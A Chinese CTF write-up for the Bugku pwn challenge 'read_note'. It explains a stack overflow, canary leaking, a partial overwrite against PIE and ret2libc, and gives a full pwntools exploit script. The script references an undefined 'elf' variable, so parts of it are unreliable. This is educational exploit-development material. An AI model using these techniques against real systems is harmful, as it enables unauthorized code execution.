BugkuCTF练习平台pwn3(read_note)的writeup

原创

zybn 于 2020-03-05 21:00:34 发布 1107 收藏 2

分类专栏： pwn学习 文章标签： 信息安全 python 堆栈 aslr

在Bugku的pwn题中，这道题分值最高，也是难度最大的一道。难点在于，第一要读懂题目找出漏洞，第二是要绕过各种保护机制，第三是exp的编写调试。看一眼程序的保护机制，发现除了RELRO所有保护全开，还是有点头疼的，毕竟我刚开始学pwn没几天，还没有做过PIE和Canary的题目，所以调试还是花了不少时间的。

首先分析程序，重要部分如下所示。一开始会让你输入一个路径，不存在的话就会报错退出，然后打印出文件内容；以上均可以忽略，没有任何用处。然后分别输入note的长度和内容，输入内容的长度取决于之前的note长度；如果实际输入的长度不是624，则再输入一遍，此时输入内容的长度变为0x270（624）。可以发现，v4的长度为0x258（600），而输入的长度可以任意控制，因此存在栈溢出。

```
puts("write some note:");
puts("  please input the note len:");
*(_DWORD *)nbytes = 0;
__isoc99_scanf("%d", nbytes);
puts("please input the note:");
read(0, &v4, *(unsigned int *)nbytes);
puts("the note is: ");
puts(&v4);
if ( strlen(&v4) != 624 )
{
  puts("error: the note len must be  624");
  puts("  so please input note(len is 624)");
  read(0, &v4, 0x270uLL);
}
return __readfsqword(0x28u) ^ v5;
```

确定了漏洞所在，下一个问题就是如何绕过NX、Canary、PIE和ASLR等保护机制了，下面一个个来说。

1. NX很简单，ROP即可。
2. Canary会很大程度上妨碍栈溢出，但结合本题的环境，输入一次后紧接着一个puts函数将输入内容打印出来，然后还有一次输入的机会，因此可以在第一次输入时，通过覆盖Canary最低位的\x00为其他值（Canary最低位必为\x00，而puts函数会一直输出直到碰见\x00位置），让puts函数泄露出Canary的内容，第二次输入时再将正确的Canary写回去，就可以绕过Canary的保护了。
3. PIE会让程序加载的基地址随机化，但是随机化并不完全，最低三位是不会改变的，可以利用这个特性，通过覆盖最低的两位来有限的修改程序控制流，再想办法泄露出程序加载地址。
4. 至于ASLR，利用ret2libc的方法，泄露出libc的版本，就可以算出system等函数的地址然后get shell了。

确定了思路，就可以着手开始边调试边写exp了。通过以上的分析，由于需要泄露三个内容，因此main函数需要执行四次，每次执行都会有两次输入，每次执行的工作分别如下：

1. 第一次执行，需要在填满v4的长度600后，再溢出两个十六进制位，覆盖Canary的最低位，然后将Canary打印出来；再次输入时，将正确的Canary放在原来的位置，然后溢出栈上返回地址的低两位为\x20。为什么是\x20，是因为从ida中可以发现，vul函数最后retn的地址为0xd1f，main函数的起始地址是0xd20，前面的偏移都是相同的，因此可以通过这种方法绕过PIE再跳回main。

```
000000000000D1E locret_D1E:                             ; CODE XREF: vul+277↑j
000000000000D1E                 leave
000000000000D1F                 retn
000000000000D1F ; } // starts at AA0
000000000000D1F vul             endp
000000000000D1F
000000000000D20
000000000000D20 ; =============== S U B R O U T I N E =======================================
000000000000D20
000000000000D20 ; Attributes: bp-based frame
000000000000D20
000000000000D20 ; int __cdecl main(int argc, const char **argv, const char **envp)
000000000000D20                 public main
000000000000D20 main            proc near               ; DATA XREF: _start+1D↑o
000000000000D20 ; __unwind {
000000000000D20                 push    rbp
000000000000D21                 mov     rbp, rsp
000000000000D24                 mov     eax, 0
000000000000D29                 call    vul
000000000000D2E                 mov     eax, 0
000000000000D33                 pop     rbp
000000000000D34                 retn
000000000000D34 ; } // starts at D20
```

2. 第二次执行，在填满600的基础上，需要再多溢出两个地址位数，也就是616。从栈分布可以看出，v4之后是Canary（0x7fffffffde88处），然后再填充一个地址位，就可以输出main+14的真实地址，也就可以得到程序加载的地址。之后使用跟之前同样的方法，再次回到main函数的起始位置。

```
98:04c0|      0x7fffffffde58 ← 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
n'
... ↓
9d:04e8|      0x7fffffffde80 ← 0xa616161616161 /* 'aaaaaa\n' */
9e:04f0|      0x7fffffffde88 ← 0x2921fc0cec8d7900
9f:04f8| rbp  0x7fffffffde90 → 0x7fffffffdea0 → 0x555555554da0 (__libc_csu_init
) ← push   r15
pwndbg>
a0:0500|    0x7fffffffde98 → 0x555555554d2e (main+14) ← mov    eax, 0
a1:0508|    0x7fffffffdea0 → 0x555555554da0 (__libc_csu_init) ← push   r15
a2:0510|    0x7fffffffdea8 → 0x7ffff7a2d830 (__libc_start_main+240) ← mov    edi, eax
```

3. 第三次执行，要溢出的就是__lilbc_start_main的真实地址了，作为main函数的返回地址，从上图可以看出，可以从栈上泄露__libc_start_main+240的地址，依次利用LibcSearcher算出libc版本，然后得到system地址和/bin/sh字符串的地址。此时已经具备了get shell的条件，但由于第二次输入的长度所限，因此还要再跳回main函数，再次执行程序。
4. 第四次执行，就可以将payload拼接好，然后发给程序了。由于是64位，传参需要rdi。利用ROPgadget搜索程序二进制，发现存在pop rdi;ret;的gadget，将其偏移再加上第二步得到的程序加载基地址，就可以得到gadget的真实地址，至此，payload拼接完成，可以拿到shell了。

理清了步骤后，调试也是个痛苦的过程，但同时能让新手的我学到不少东西，简单记录下遇到的坑吧。首先，sendline会多送出一个\x0a，好几次都是因为用了sendline而不是send导致程序走不下去。其次，堆栈平衡，由于每次都是从main开始，每次都会多执行一此push rbp，因此栈上的布局需要用gdb.attach一步步去看去调，毕竟还没熟练到能直接想到这个问题并算出来。第三，最后一次执行main的时候，第二次输入由于长度有限制，需要第一次就将完整payload送出去，一开始写的时候没有留神在这里卡了一会儿。最后，使用u64对sh.recv()接收时，不够位数的可以自行添加\x00补齐，或者网上exp所用的使用ljust函数更方便。

综上所述，我写的exp就是这样的。学习之初，很多地方写的还是很不到位，需要多加练习。

```
from pwn import *
from LibcSearcher import *
```

```python
sh = process('./read_note')
#sh = remote('114.116.54.89',10000)
#context.log_level = 'debug'

pop_rdi_ret = 0x0000000000000e03

log.info('first time')
sh.sendlineafter('Please input the note path:', 'flag')
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')

payload1 = 'a'*600
sh.sendline(payload1)
sh.recvuntil('a'*600)
canary = u64(sh.recv(8))-0xa
log.info('Canary:'+hex(canary))

sh.recvuntil('so please input note(len is 624)')
start_plt = elf.plt['__libc_start_main']
payload1 = 'a'*600 + p64(canary) + p64(1) + '\x20'
sh.send(payload1)



log.info('second time')
sh.sendlineafter('Please input the note path:', 'flag')
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')

payload2 = 'a'*616
sh.send(payload2)
sh.recvuntil('a'*616)
main_addr = u64(sh.recv()[0:6] + '\x00\x00') - 0xe
base = main_addr - 0xd20
pop_rdi_ret_addr = base + pop_rdi_ret
log.info('base addr:'+str(hex(base)))

payload2 = 'a'*600 + p64(canary) + p64(1) + p64(main_addr)
sh.send(payload2)



log.info('third time')
sh.sendlineafter('Please input the note path:', 'flag')
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')

payload3 = 'a'*648
sh.send(payload3)
sh.recvuntil('a'*648)
libc_start_addr = u64(sh.recv()[0:6] + '\x00\x00') - 240
log.info('__libc_start_main:'+str(hex(libc_start_addr)))
libc = LibcSearcher('__libc_start_main', libc_start_addr)
libc_base = libc_start_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload3 = 'a'*600 + p64(canary) + p64(1) + p64(main_addr)
sh.send(payload3)
```

```
log.info('fourth time')
sh.sendlineafter('Please input the note path:', 'flag')
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')

payload4 = 'a'*600 + p64(canary) + p64(1) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
sh.send(payload4)
sh.recvuntil('so please input note(len is 624)')
sh.send(payload4)
sh.interactive()
```